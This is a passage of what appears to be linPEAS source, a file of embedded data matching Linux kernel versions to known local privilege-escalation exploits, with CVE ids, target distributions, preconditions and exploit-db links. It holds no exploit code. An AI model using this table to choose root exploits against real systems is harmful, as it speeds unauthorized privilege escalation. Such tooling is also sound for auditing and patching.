l7|3.10.0-229.20.1.el7|3.10.0-229.24.2.el7|3.10.0-229.26.2.el7|3.10.0-229.28.1.el7|3.10.0-229.30.1.el7|3.10.0-229.34.1.el7|3.10.0-229.38.1.el7|3.10.0-229.40.1.el7|3.10.0-229.42.1.el7|3.10.0-327.el7|3.10.0-327.3.1.el7|3.10.0-327.4.4.el7|3.10.0-327.4.5.el7|3.10.0-327.10.1.el7|3.10.0-327.13.1.el7|3.10.0-327.18.2.el7|3.10.0-327.22.2.el7|3.10.0-327.28.2.el7|3.10.0-327.28.3.el7|3.10.0-327.36.1.el7|3.10.0-327.36.2.el7|3.10.0-229.1.2.ael7b|3.10.0-229.4.2.ael7b|3.10.0-229.7.2.ael7b|3.10.0-229.11.1.ael7b|3.10.0-229.14.1.ael7b|3.10.0-229.20.1.ael7b|3.10.0-229.24.2.ael7b|3.10.0-229.26.2.ael7b|3.10.0-229.28.1.ael7b|3.10.0-229.30.1.ael7b|3.10.0-229.34.1.ael7b|3.10.0-229.38.1.ael7b|3.10.0-229.40.1.ael7b|3.10.0-229.42.1.ael7b|4.2.0-0.21.el7\""
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/kernel_cve_registry_data.sh",
    "content": "# Title: Variables - kernel_cve_registry_data\n# ID: kernel_cve_registry_data\n# Author: Carlos Polop\n# Last Update: 25-02-2026\n# Description: Embedded kernel exploit matching datasets extracted from linux-exploit-suggester and linux-exploit-suggester-2 examples. Data is split across KERNEL_CVE_DATA_1..X with a maximum of 25 rows per env variable. This file also stores reference-only CVE tokens found in example repos when no explicit suggester matching rule exists.\n# License: GNU GPL\n# Version: 1.0\n# Functions Used:\n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $KERNEL_CVE_DATA_1, $KERNEL_CVE_DATA_2, $KERNEL_CVE_DATA_3, $KERNEL_CVE_DATA_4, $KERNEL_CVE_DATA_5, $KERNEL_CVE_DATA_6, $KERNEL_CVE_DATA_7, $KERNEL_CVE_DATA_8, $KERNEL_CVE_DATA_9, $KERNEL_CVE_DATA_10, $KERNEL_CVE_DATA_11, $KERNEL_CVE_DATA_12, $KERNEL_CVE_DATA_13, $KERNEL_CVE_DATA_14, $KERNEL_CVE_DATA_15, $KERNEL_CVE_DATA_16, $KERNEL_CVE_DATA_17, $KERNEL_CVE_DATA_18, $KERNEL_CVE_DATA_19, $KERNEL_CVE_DATA_20, $KERNEL_CVE_DATA_21\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\n# Max 25 rows per env variable to avoid hitting env variable size limits.\nKERNEL_CVE_DATA_1=\"$(cat <<'EOF_DATA_1'\nCVE-2004-1235\telflbl\tpkg=linux-kernel,ver=2.4.29\t\t1\t\nCVE-2004-1235\tuselib()\tpkg=linux-kernel,ver=2.4.29\t\t1\tKnown to work only for 2.4 series (even though 2.6 is also vulnerable)\nCVE-2004-1235\tkrad3\tpkg=linux-kernel,ver>=2.6.5,ver<=2.6.11\t\t1\t\nCVE-2004-0077\tmremap_pte\tpkg=linux-kernel,ver>=2.6.0,ver<=2.6.2\t\t1\t\nCVE-2006-2451\traptor_prctl\tpkg=linux-kernel,ver>=2.6.13,ver<=2.6.17\t\t1\t\nCVE-2006-2451\tprctl\tpkg=linux-kernel,ver>=2.6.13,ver<=2.6.17\t\t1\t\nCVE-2006-2451\tprctl2\tpkg=linux-kernel,ver>=2.6.13,ver<=2.6.17\t\t1\t\nCVE-2006-2451\tprctl3\tpkg=linux-kernel,ver>=2.6.13,ver<=2.6.17\t\t1\t\nCVE-2006-2451\tprctl4\tpkg=linux-kernel,ver>=2.6.13,ver<=2.6.17\t\t1\t\nCVE-2006-3626\th00lyshit\tpkg=linux-kernel,ver>=2.6.8,ver<=2.6.16\t\t1\t\nCVE-2008-0600\tvmsplice1\tpkg=linux-kernel,ver>=2.6.17,ver<=2.6.24\t\t1\t\nCVE-2008-0600\tvmsplice2\tpkg=linux-kernel,ver>=2.6.23,ver<=2.6.24\t\t1\t\nCVE-2008-4210\tftrex\tpkg=linux-kernel,ver>=2.6.11,ver<=2.6.22\t\t1\tworld-writable sgid directory and shell that does not drop sgid privs upon exec (ash/sash) are required\nCVE-2008-4210\texit_notify\tpkg=linux-kernel,ver>=2.6.25,ver<=2.6.29\t\t1\t\nCVE-2009-2692\tsock_sendpage (simple version)\tpkg=linux-kernel,ver>=2.6.0,ver<=2.6.30\tubuntu=7.10,RHEL=4,fedora=4|5|6|7|8|9|10|11\t1\tWorks for systems with /proc/sys/vm/mmap_min_addr equal to 0\nCVE-2009-2692,CVE-2009-1895\tsock_sendpage\tpkg=linux-kernel,ver>=2.6.0,ver<=2.6.30\tubuntu=9.04\t1\t/proc/sys/vm/mmap_min_addr needs to equal 0 OR pulseaudio needs to be installed\nCVE-2009-2692,CVE-2009-1895\tsock_sendpage2\tpkg=linux-kernel,ver>=2.6.0,ver<=2.6.30\t\t1\tWorks for systems with /proc/sys/vm/mmap_min_addr equal to 0\nCVE-2009-2692,CVE-2009-1895\tsock_sendpage3\tpkg=linux-kernel,ver>=2.6.0,ver<=2.6.30\t\t1\t/proc/sys/vm/mmap_min_addr needs to equal 0 OR pulseaudio needs to be installed\nCVE-2009-2692,CVE-2009-1895\tsock_sendpage (ppc)\tpkg=linux-kernel,ver>=2.6.0,ver<=2.6.30\tubuntu=8.10,RHEL=4|5\t1\t/proc/sys/vm/mmap_min_addr needs to equal 0\nCVE-2009-2698\tthe rebel (udp_sendmsg)\tpkg=linux-kernel,ver>=2.6.1,ver<=2.6.19\tdebian=4\t1\t/proc/sys/vm/mmap_min_addr needs to equal 0 OR pulseaudio needs to be installed\nCVE-2009-2698\thoagie_udp_sendmsg\tpkg=linux-kernel,ver>=2.6.1,ver<=2.6.19,x86\tdebian=4\t1\tWorks for systems with /proc/sys/vm/mmap_min_addr equal to 0\nCVE-2009-2698\tkaton (udp_sendmsg)\tpkg=linux-kernel,ver>=2.6.1,ver<=2.6.19,x86\tdebian=4\t1\tWorks for systems with /proc/sys/vm/mmap_min_addr equal to 0\nCVE-2009-2698\tip_append_data\tpkg=linux-kernel,ver>=2.6.1,ver<=2.6.19,x86\tfedora=4|5|6,RHEL=4\t1\tWorks for systems with /proc/sys/vm/mmap_min_addr equal to 0\nCVE-2009-3547\tpipe.c 1\tpkg=linux-kernel,ver>=2.6.0,ver<=2.6.31\t\t1\t\nCVE-2009-3547\tpipe.c 2\tpkg=linux-kernel,ver>=2.6.0,ver<=2.6.31\t\t1\t\nEOF_DATA_1\n)\"\n\nKERNEL_CVE_DATA_2=\"$(cat <<'EOF_DATA_2'\nCVE-2009-3547\tpipe.c 3\tpkg=linux-kernel,ver>=2.6.0,ver<=2.6.31\t\t1\t\nCVE-2010-3301\tptrace_kmod2\tpkg=linux-kernel,ver>=2.6.26,ver<=2.6.34\tdebian=6.0{kernel:2.6.(32|33|34|35)-(1|2|trunk)-amd64},ubuntu=(10.04|10.10){kernel:2.6.(32|35)-(19|21|24)-server}\t1\t\nCVE-2010-1146\treiserfs\tpkg=linux-kernel,ver>=2.6.18,ver<=2.6.34\tubuntu=9.10\t1\t\nCVE-2010-2959\tcan_bcm\tpkg=linux-kernel,ver>=2.6.18,ver<=2.6.36\tubuntu=10.04{kernel:2.6.32-24-generic}\t1\t\nCVE-2010-3904\trds\tpkg=linux-kernel,ver>=2.6.30,ver<2.6.37\tdebian=6.0{kernel:2.6.(31|32|34|35)-(1|trunk)-amd64},ubuntu=10.10|9.10,fedora=13{kernel:2.6.33.3-85.fc13.i686.PAE},ubuntu=10.04{kernel:2.6.32-(21|24)-generic}\t1\t\nCVE-2010-3848,CVE-2010-3850,CVE-2010-4073\thalf_nelson\tpkg=linux-kernel,ver>=2.6.0,ver<=2.6.36\tubuntu=(10.04|9.10){kernel:2.6.(31|32)-(14|21)-server}\t1\t\nN/A\tcaps_to_root\tpkg=linux-kernel,ver>=2.6.34,ver<=2.6.36,x86\tubuntu=10.10\t1\t\nN/A\tcaps_to_root 2\tpkg=linux-kernel,ver>=2.6.34,ver<=2.6.36\tubuntu=10.10\t1\t\nCVE-2010-4347\tamerican-sign-language\tpkg=linux-kernel,ver>=2.6.0,ver<=2.6.36\t\t1\t\nCVE-2010-3437\tpktcdvd\tpkg=linux-kernel,ver>=2.6.0,ver<=2.6.36\tubuntu=10.04\t1\t\nCVE-2010-3081\tvideo4linux\tpkg=linux-kernel,ver>=2.6.0,ver<=2.6.33\tRHEL=5\t1\t\nCVE-2012-0056\tmemodipper\tpkg=linux-kernel,ver>=3.0.0,ver<=3.1.0\tubuntu=(10.04|11.10){kernel:3.0.0-12-(generic|server)}\t1\t\nCVE-2012-0056,CVE-2010-3849,CVE-2010-3850\tfull-nelson\tpkg=linux-kernel,ver>=2.6.0,ver<=2.6.36\tubuntu=(9.10|10.10){kernel:2.6.(31|35)-(14|19)-(server|generic)},ubuntu=10.04{kernel:2.6.32-(21|24)-server}\t1\t\nCVE-2013-1858\tCLONE_NEWUSER|CLONE_FS\tpkg=linux-kernel,ver=3.8,CONFIG_USER_NS=y\t\t1\tCONFIG_USER_NS needs to be enabled \nCVE-2013-2094\tperf_swevent\tpkg=linux-kernel,ver>=2.6.32,ver<3.8.9,x86_64\tRHEL=6,ubuntu=12.04{kernel:3.2.0-(23|29)-generic},fedora=16{kernel:3.1.0-7.fc16.x86_64},fedora=17{kernel:3.3.4-5.fc17.x86_64},debian=7{kernel:3.2.0-4-amd64}\t1\tNo SMEP/SMAP bypass\nCVE-2013-2094\tperf_swevent 2\tpkg=linux-kernel,ver>=2.6.32,ver<3.8.9,x86_64\tubuntu=12.04{kernel:3.(2|5).0-(23|29)-generic}\t1\tNo SMEP/SMAP bypass\nCVE-2013-0268\tmsr\tpkg=linux-kernel,ver>=2.6.18,ver<3.7.6\t\t1\t\nCVE-2013-1959\tuserns_root_sploit\tpkg=linux-kernel,ver>=3.0.1,ver<3.8.9\t\t1\t\nCVE-2013-2094\tsemtex\tpkg=linux-kernel,ver>=2.6.32,ver<3.8.9\tRHEL=6\t1\t\nCVE-2014-0038\ttimeoutpwn\tpkg=linux-kernel,ver>=3.4.0,ver<=3.13.1,CONFIG_X86_X32=y\tubuntu=13.10\t1\tCONFIG_X86_X32 needs to be enabled\nCVE-2014-0038\ttimeoutpwn 2\tpkg=linux-kernel,ver>=3.4.0,ver<=3.13.1,CONFIG_X86_X32=y\tubuntu=(13.04|13.10){kernel:3.(8|11).0-(12|15|19)-generic}\t1\tCONFIG_X86_X32 needs to be enabled\nCVE-2014-0196\trawmodePTY\tpkg=linux-kernel,ver>=2.6.31,ver<=3.14.3\t\t1\t\nCVE-2014-2851\tuse-after-free in ping_init_sock() (DoS)\tpkg=linux-kernel,ver>=3.0.1,ver<=3.14\t\t0\t\nCVE-2014-4014\tinode_capable\tpkg=linux-kernel,ver>=3.0.1,ver<=3.13\tubuntu=12.04\t1\t\nCVE-2014-4699\tptrace/sysret\tpkg=linux-kernel,ver>=3.0.1,ver<=3.8\tubuntu=12.04\t1\t\nEOF_DATA_2\n)\"\n\nKERNEL_CVE_DATA_3=\"$(cat <<'EOF_DATA_3'\nCVE-2014-4943\tPPPoL2TP (DoS)\tpkg=linux-kernel,ver>=3.2,ver<=3.15.6\t\t1\t\nCVE-2014-5207\tfuse_suid\tpkg=linux-kernel,ver>=3.0.1,ver<=3.16.1\t\t1\t\nCVE-2015-9322\tBadIRET\tpkg=linux-kernel,ver>=3.0.1,ver<3.17.5,x86_64\tRHEL<=7,fedora=20\t1\t\nCVE-2015-3290\tespfix64_NMI\tpkg=linux-kernel,ver>=3.13,ver<4.1.6,x86_64\t\t1\t\nN/A\tbluetooth\tpkg=linux-kernel,ver<=2.6.11\t\t1\t\nCVE-2015-1328\toverlayfs\tpkg=linux-kernel,ver>=3.13.0,ver<=3.19.0\tubuntu=(12.04|14.04){kernel:3.13.0-(2|3|4|5)*-generic},ubuntu=(14.10|15.04){kernel:3.(13|16).0-*-generic}\t1\t\nCVE-2015-8660\toverlayfs (ovl_setattr)\tpkg=linux-kernel,ver>=3.0.0,ver<=4.3.3\t\t1\t\nCVE-2015-8660\toverlayfs (ovl_setattr)\tpkg=linux-kernel,ver>=3.0.0,ver<=4.3.3\tubuntu=(14.04|15.10){kernel:4.2.0-(18|19|20|21|22)-generic}\t1\t\nCVE-2016-0728\tkeyring\tpkg=linux-kernel,ver>=3.10,ver<4.4.1\t\t0\tExploit takes about ~30 minutes to run. Exploit is not reliable, see: https://cyseclabs.com/blog/cve-2016-0728-poc-not-working\nCVE-2016-2384\tusb-midi\tpkg=linux-kernel,ver>=3.0.0,ver<=4.4.8\tubuntu=14.04,fedora=22\t1\tRequires ability to plug in a malicious USB device and to execute a malicious binary as a non-privileged user\nCVE-2016-4997\ttarget_offset\tpkg=linux-kernel,ver>=4.4.0,ver<=4.4.0,cmd:grep -qi ip_tables /proc/modules\tubuntu=16.04{kernel:4.4.0-21-generic}\t1\tip_tables.ko needs to be loaded\nCVE-2016-4557\tdouble-fdput()\tpkg=linux-kernel,ver>=4.4,ver<4.5.5,CONFIG_BPF_SYSCALL=y,sysctl:kernel.unprivileged_bpf_disabled!=1\tubuntu=16.04{kernel:4.4.0-21-generic}\t1\tCONFIG_BPF_SYSCALL needs to be set && kernel.unprivileged_bpf_disabled != 1\nCVE-2016-5195\tdirtycow\tpkg=linux-kernel,ver>=2.6.22,ver<=4.8.3\tdebian=7|8,RHEL=5{kernel:2.6.(18|24|33)-*},RHEL=6{kernel:2.6.32-*|3.(0|2|6|8|10).*|2.6.33.9-rt31},RHEL=7{kernel:3.10.0-*|4.2.0-0.21.el7},ubuntu=16.04|14.04|12.04\t4\tFor RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh\nCVE-2016-5195\tdirtycow 2\tpkg=linux-kernel,ver>=2.6.22,ver<=4.8.3\tdebian=7|8,RHEL=5|6|7,ubuntu=14.04|12.04,ubuntu=10.04{kernel:2.6.32-21-generic},ubuntu=16.04{kernel:4.4.0-21-generic}\t4\tFor RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh\nCVE-2016-8655\tchocobo_root\tpkg=linux-kernel,ver>=4.4.0,ver<4.9,CONFIG_USER_NS=y,sysctl:kernel.unprivileged_userns_clone==1\tubuntu=(14.04|16.04){kernel:4.4.0-(21|22|24|28|31|34|36|38|42|43|45|47|51)-generic}\t1\tCAP_NET_RAW capability is needed OR CONFIG_USER_NS=y needs to be enabled\nCVE-2016-9793\tSO_{SND|RCV}BUFFORCE\tpkg=linux-kernel,ver>=3.11,ver<4.8.14,CONFIG_USER_NS=y,sysctl:kernel.unprivileged_userns_clone==1\t\t1\tCAP_NET_ADMIN caps OR CONFIG_USER_NS=y needed. No SMEP/SMAP/KASLR bypass included. Tested in QEMU only\nCVE-2017-6074\tdccp\tpkg=linux-kernel,ver>=2.6.18,ver<=4.9.11,CONFIG_IP_DCCP=[my]\tubuntu=(14.04|16.04){kernel:4.4.0-62-generic}\t1\tRequires Kernel be built with CONFIG_IP_DCCP enabled. Includes partial SMEP/SMAP bypass\nCVE-2017-7308\taf_packet\tpkg=linux-kernel,ver>=3.2,ver<=4.10.6,CONFIG_USER_NS=y,sysctl:kernel.unprivileged_userns_clone==1\tubuntu=16.04{kernel:4.8.0-(34|36|39|41|42|44|45)-generic}\t1\tCAP_NET_RAW cap or CONFIG_USER_NS=y needed. Modified version at 'ext-url' adds support for additional kernels\nCVE-2017-16995\teBPF_verifier\tpkg=linux-kernel,ver>=4.4,ver<=4.14.8,CONFIG_BPF_SYSCALL=y,sysctl:kernel.unprivileged_bpf_disabled!=1\tdebian=9.0{kernel:4.9.0-3-amd64},fedora=25|26|27,ubuntu=14.04{kernel:4.4.0-89-generic},ubuntu=(16.04|17.04){kernel:4.(8|10).0-(19|28|45)-generic}\t5\tCONFIG_BPF_SYSCALL needs to be set && kernel.unprivileged_bpf_disabled != 1\nCVE-2017-1000112\tNETIF_F_UFO\tpkg=linux-kernel,ver>=4.4,ver<=4.13,CONFIG_USER_NS=y,sysctl:kernel.unprivileged_userns_clone==1\tubuntu=14.04{kernel:4.4.0-*},ubuntu=16.04{kernel:4.8.0-*}\t1\tCAP_NET_ADMIN cap or CONFIG_USER_NS=y needed. SMEP/KASLR bypass included. Modified version at 'ext-url' adds support for additional distros/kernels\nCVE-2017-1000253\tPIE_stack_corruption\tpkg=linux-kernel,ver>=3.2,ver<=4.13,x86_64\tRHEL=6,RHEL=7{kernel:3.10.0-514.21.2|3.10.0-514.26.1}\t1\t\nCVE-2018-5333\trds_atomic_free_op NULL pointer dereference\tpkg=linux-kernel,ver>=4.4,ver<=4.14.13,cmd:grep -qi rds /proc/modules,x86_64\tubuntu=16.04{kernel:4.4.0|4.8.0}\t1\trds.ko kernel module needs to be loaded. Modified version at 'ext-url' adds support for additional targets and bypassing KASLR.\nCVE-2018-14634\tMutagen Astronomy\tpkg=linux-kernel,x86_64,ver>=4.14.1,ver<=4.14.54\tdebian=8,RHEL=6|7\t1\tsystems with less than 32GB of RAM are unlikely to be affected by this issue\nCVE-2018-18955\tsubuid_shell\tpkg=linux-kernel,ver>=4.15,ver<=4.19.2,CONFIG_USER_NS=y,sysctl:kernel.unprivileged_userns_clone==1,cmd:[ -u /usr/bin/newuidmap ],cmd:[ -u /usr/bin/newgidmap ]\tubuntu=18.04{kernel:4.15.0-20-generic},fedora=28{kernel:4.16.3-301.fc28}\t1\tCONFIG_USER_NS needs to be enabled\nCVE-2019-13272\tPTRACE_TRACEME\tpkg=linux-kernel,ver>=4,ver<5.1.17,sysctl:kernel.yama.ptrace_scope==0,x86_64\tubuntu=16.04{kernel:4.15.0-*},ubuntu=18.04{kernel:4.15.0-*},debian=9{kernel:4.9.0-*},debian=10{kernel:4.19.0-*},fedora=30{kernel:5.0.9-*}\t1\tRequires an active PolKit agent.\nEOF_DATA_3\n)\"\n\nKERNEL_CVE_DATA_4=\"$(cat <<'EOF_DATA_4'\nCVE-2019-15666\tXFRM_UAF\tpkg=linux-kernel,ver>=3,ver<5.0.19,CONFIG_USER_NS=y,sysctl:kernel.unprivileged_userns_clone==1,CONFIG_XFRM=y\t\t1\tCONFIG_USER_NS needs to be enabled; CONFIG_XFRM needs to be enabled\nCVE-2021-27365\tlinux-iscsi\tpkg=linux-kernel,ver<=5.11.3,CONFIG_SLAB_FREELIST_HARDENED!=y\tRHEL=8\t1\tCONFIG_SLAB_FREELIST_HARDENED must not be enabled\nCVE-2021-3490\teBPF ALU32 bounds tracking for bitwise ops\tpkg=linux-kernel,ver>=5.7,ver<5.12,CONFIG_BPF_SYSCALL=y,sysctl:kernel.unprivileged_bpf_disabled!=1\tubuntu=20.04{kernel:5.8.0-(25|26|27|28|29|30|31|32|33|34|35|36|37|38|39|40|41|42|43|44|45|46|47|48|49|50|51|52)-*},ubuntu=21.04{kernel:5.11.0-16-*}\t5\tCONFIG_BPF_SYSCALL needs to be set && kernel.unprivileged_bpf_disabled != 1\nCVE-2021-3493\tUbuntu OverlayFS\tpkg=linux-kernel,ver>=3.13,ver<5.14,x86_64\tubuntu=(14.04|16.04|18.04|20.04|20.10)\t1\tOnly Ubuntu is affected.\nCVE-2021-22555\tNetfilter heap out-of-bounds write\tpkg=linux-kernel,ver>=2.6.19,ver<=5.12-rc6\tubuntu=20.04{kernel:5.8.0-*}\t1\tip_tables kernel module must be loaded\nCVE-2022-0847\tDirtyPipe\tpkg=linux-kernel,ver>=5.8,ver<=5.16.11\tubuntu=(20.04|21.04),debian=11\t1\t\nCVE-2022-0995\twatch_queue\tpkg=linux-kernel,ver>=5.8,ver<5.16.5,x86_64\tubuntu=21.10{kernel:5.13.0.37-generic}\t1\tNot 100% reliable, may need to be run a couple of times. It rare cases it may panic the kernel.\nCVE-2022-2586\tnft_object UAF\tpkg=linux-kernel,ver>=5.12,ver<5.19,CONFIG_USER_NS=y,sysctl:kernel.unprivileged_userns_clone==1\tubuntu=(20.04){kernel:5.12.13}\t1\tkernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)\nCVE-2022-32250\tnft_object UAF (NFT_MSG_NEWSET)\tpkg=linux-kernel,ver<5.18.1,CONFIG_USER_NS=y,sysctl:kernel.unprivileged_userns_clone==1\tubuntu=(22.04){kernel:5.15.0-27-generic}\t1\tkernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)\nCVE-2023-0386\tOverlayFS suid smuggle\tpkg=linux-kernel,ver>=5.11,ver<=6.2,CONFIG_USER_NS=y,sysctl:kernel.unprivileged_userns_clone==1\tubuntu=22.04.1{kernel:5.15.0-57-generic}\t1\tCONFIG_USER_NS needs to be enabled && kernel.unprivileged_userns_clone=1 required\nCVE-2024-1086\tdouble-free in nf_tables\tpkg=linux-kernel,x86_64,ver>=5.14,ver<=6.6,CONFIG_NF_TABLES=y,CONFIG_USER_NS=y,sysctl:kernel.unprivileged_userns_clone==1\tdebian=12,ubuntu=22.04\t1\tCONFIG_USER_NS and CONFIG_NF_TABLES need to be enabled && kernel.unprivileged_userns_clone=1 required\nCVE-2021-3560\tPolkit race authentication bypass\tcmd:sh -c \"apt list --installed 2>/dev/null | grep -E 'polkit.*0\\\\.105-26' | grep -qEv 'ubuntu1\\\\.[1-9]' || yum list installed 2>/dev/null | grep -qE 'polkit.*\\\\(0\\\\.117-2\\\\|0\\\\.115-6\\\\|0\\\\.11[3-9]\\\\)' || rpm -qa 2>/dev/null | grep -qE 'polkit.*\\\\(0\\\\.117-2\\\\|0\\\\.115-6\\\\|0\\\\.11[3-9]\\\\)'\"\t\t1\tMigrated from former standalone 1_system_information check\nCVE-2025-38236\tAF_UNIX MSG_OOB UAF\tpkg=linux-kernel,ver>=6.9.0\t\t1\tMigrated from former standalone 1_system_information check\nCVE-2025-38352\tPOSIX CPU timers race\tpkg=linux-kernel,ver>=6.12,ver<6.12.34,CONFIG_POSIX_CPU_TIMERS_TASK_WORK!=y\t\t1\tMigrated from former standalone 1_system_information check\naf_packet\t2016-8655\t4.4.0\t\thttp://www.exploit-db.com/exploits/40871\namerican-sign-language\t2010-4347\t2.6.0,2.6.1,2.6.2,2.6.3,2.6.4,2.6.5,2.6.6,2.6.7,2.6.8,2.6.9,2.6.10,2.6.11,2.6.12,2.6.13,2.6.14,2.6.15,2.6.16,2.6.17,2.6.18,2.6.19,2.6.20,2.6.21,2.6.22,2.6.23,2.6.24,2.6.25,2.6.26,2.6.27,2.6.28,2.6.29,2.6.30,2.6.31,2.6.32,2.6.33,2.6.34,2.6.35,2.6.36\t\thttp://www.securityfocus.com/bid/45408\nave\t\t2.4.19,2.4.20\t\t\nbrk\t\t2.4.10,2.4.18,2.4.19,2.4.20,2.4.21,2.4.22\t\t\ncan_bcm\t2010-2959\t2.6.18,2.6.19,2.6.20,2.6.21,2.6.22,2.6.23,2.6.24,2.6.25,2.6.26,2.6.27,2.6.28,2.6.29,2.6.30,2.6.31,2.6.32,2.6.33,2.6.34,2.6.35,2.6.36\t\thttp://www.exploit-db.com/exploits/14814\ncaps_to_root\tn/a\t2.6.34,2.6.35,2.6.36\t\thttp://www.exploit-db.com/exploits/15916\nclone_newuser\tN\\A\t3.3.5,3.3.4,3.3.2,3.2.13,3.2.9,3.2.1,3.1.8,3.0.5,3.0.4,3.0.2,3.0.1,3.2,3.0.1,3.0\t\thttp://www.exploit-db.com/exploits/38390\ndirty_cow\t2016-5195\t2.6.22,2.6.23,2.6.24,2.6.25,2.6.26,2.6.27,2.6.27,2.6.28,2.6.29,2.6.30,2.6.31,2.6.32,2.6.33,2.6.34,2.6.35,2.6.36,2.6.37,2.6.38,2.6.39,3.0.0,3.0.1,3.0.2,3.0.3,3.0.4,3.0.5,3.0.6,3.1.0,3.2.0,3.3.0,3.4.0,3.5.0,3.6.0,3.7.0,3.7.6,3.8.0,3.9.0\t\thttp://www.exploit-db.com/exploits/40616\nCVE-2010-0415\tdo_pages_move\t2.6.18,2.6.19,2.6.20,2.6.21,2.6.22,2.6.23,2.6.24,2.6.25,2.6.26,2.6.27,2.6.28,2.6.29,2.6.30,2.6.31\tsieve\t1\tSpenders Enlightenment\nelfcd\t\t2.6.12\t\t\nelfdump\t\t2.4.27\t\t\nEOF_DATA_4\n)\"\n\nKERNEL_CVE_DATA_5=\"$(cat <<'EOF_DATA_5'\nelflbl\t\t2.4.29\t\thttp://www.exploit-db.com/exploits/744\nexit_notify\t\t2.6.25,2.6.26,2.6.27,2.6.28,2.6.29\t\thttp://www.exploit-db.com/exploits/8369\nexp.sh\t\t2.6.9,2.6.10,2.6.16,2.6.13\t\t\nexpand_stack\t\t2.4.29\t\t\nCVE-2018-14665\texploit_x\t2.6.22,2.6.23,2.6.24,2.6.25,2.6.26,2.6.27,2.6.27,2.6.28,2.6.29,2.6.30,2.6.31,2.6.32,2.6.33,2.6.34,2.6.35,2.6.36,2.6.37,2.6.38,2.6.39,3.0.0,3.0.1,3.0.2,3.0.3,3.0.4,3.0.5,3.0.6,3.1.0,3.2.0,3.3.0,3.4.0,3.5.0,3.6.0,3.7.0,3.7.6,3.8.0,3.9.0,3.10.0,3.11.0,3.12.0,3.13.0,3.14.0,3.15.0,3.16.0,3.17.0,3.18.0,3.19.0,4.0.0,4.1.0,4.2.0,4.3.0,4.4.0,4.5.0,4.6.0,4.7.0\t\t1\thttp://www.exploit-db.com/exploits/45697\nftrex\t2008-4210\t2.6.11,2.6.12,2.6.13,2.6.14,2.6.15,2.6.16,2.6.17,2.6.18,2.6.19,2.6.20,2.6.21,2.6.22\t\thttp://www.exploit-db.com/exploits/6851\nCVE-2017-16695\tget_rekt\t4.4.0,4.8.0,4.10.0,4.13.0\t\t1\thttp://www.exploit-db.com/exploits/45010\nh00lyshit\t2006-3626\t2.6.8,2.6.10,2.6.11,2.6.12,2.6.13,2.6.14,2.6.15,2.6.16\t\thttp://www.exploit-db.com/exploits/2013\nhalf_nelson1\t2010-3848\t2.6.0,2.6.1,2.6.2,2.6.3,2.6.4,2.6.5,2.6.6,2.6.7,2.6.8,2.6.9,2.6.10,2.6.11,2.6.12,2.6.13,2.6.14,2.6.15,2.6.16,2.6.17,2.6.18,2.6.19,2.6.20,2.6.21,2.6.22,2.6.23,2.6.24,2.6.25,2.6.26,2.6.27,2.6.28,2.6.29,2.6.30,2.6.31,2.6.32,2.6.33,2.6.34,2.6.35,2.6.36\teconet\thttp://www.exploit-db.com/exploits/17787\nhalf_nelson2\t2010-3850\t2.6.0,2.6.1,2.6.2,2.6.3,2.6.4,2.6.5,2.6.6,2.6.7,2.6.8,2.6.9,2.6.10,2.6.11,2.6.12,2.6.13,2.6.14,2.6.15,2.6.16,2.6.17,2.6.18,2.6.19,2.6.20,2.6.21,2.6.22,2.6.23,2.6.24,2.6.25,2.6.26,2.6.27,2.6.28,2.6.29,2.6.30,2.6.31,2.6.32,2.6.33,2.6.34,2.6.35,2.6.36\teconet\thttp://www.exploit-db.com/exploits/17787\nhalf_nelson3\t2010-4073\t2.6.0,2.6.1,2.6.2,2.6.3,2.6.4,2.6.5,2.6.6,2.6.7,2.6.8,2.6.9,2.6.10,2.6.11,2.6.12,2.6.13,2.6.14,2.6.15,2.6.16,2.6.17,2.6.18,2.6.19,2.6.20,2.6.21,2.6.22,2.6.23,2.6.24,2.6.25,2.6.26,2.6.27,2.6.28,2.6.29,2.6.30,2.6.31,2.6.32,2.6.33,2.6.34,2.6.35,2.6.36\teconet\thttp://www.exploit-db.com/exploits/17787\nkdump\t\t2.6.13\t\t\nkm2\t\t2.4.18,2.4.22\t\t\nkrad\t\t2.6.5,2.6.7,2.6.8,2.6.9,2.6.10,2.6.11\t\t\nkrad3\t\t2.6.5,2.6.7,2.6.8,2.6.9,2.6.10,2.6.11\t\thttp://exploit-db.com/exploits/1397\nlocal26\t\t2.6.13\t\t\nloginx\t\t2.4.22\t\t\nloko\t\t2.4.22,2.4.23,2.4.24\t\t\nmemodipper\t2012-0056\t2.6.39,3.0.0,3.0.1,3.0.2,3.0.3,3.0.4,3.0.5,3.0.6,3.1.0\t\thttp://www.exploit-db.com/exploits/18411\nmremap_pte\t\t2.4.20,2.2.24,2.4.25,2.4.26,2.4.27\t\thttp://www.exploit-db.com/exploits/160\nmsr\t2013-0268\t2.6.18,2.6.19,2.6.20,2.6.21,2.6.22,2.6.23,2.6.24,2.6.25,2.6.26,2.6.27,2.6.27,2.6.28,2.6.29,2.6.30,2.6.31,2.6.32,2.6.33,2.6.34,2.6.35,2.6.36,2.6.37,2.6.38,2.6.39,3.0.0,3.0.1,3.0.2,3.0.3,3.0.4,3.0.5,3.0.6,3.1.0,3.2.0,3.3.0,3.4.0,3.5.0,3.6.0,3.7.0,3.7.6\t\thttp://www.exploit-db.com/exploits/27297\nnewlocal\t\t2.4.17,2.4.19\t\t\nnewsmp\t\t2.6\t\t\nong_bak\t\t2.6.5\t\t\noverlayfs\t2015-8660\t3.13.0,3.16.0,3.19.0\t\thttp://www.exploit-db.com/exploits/39230\nEOF_DATA_5\n)\"\n\nKERNEL_CVE_DATA_6=\"$(cat 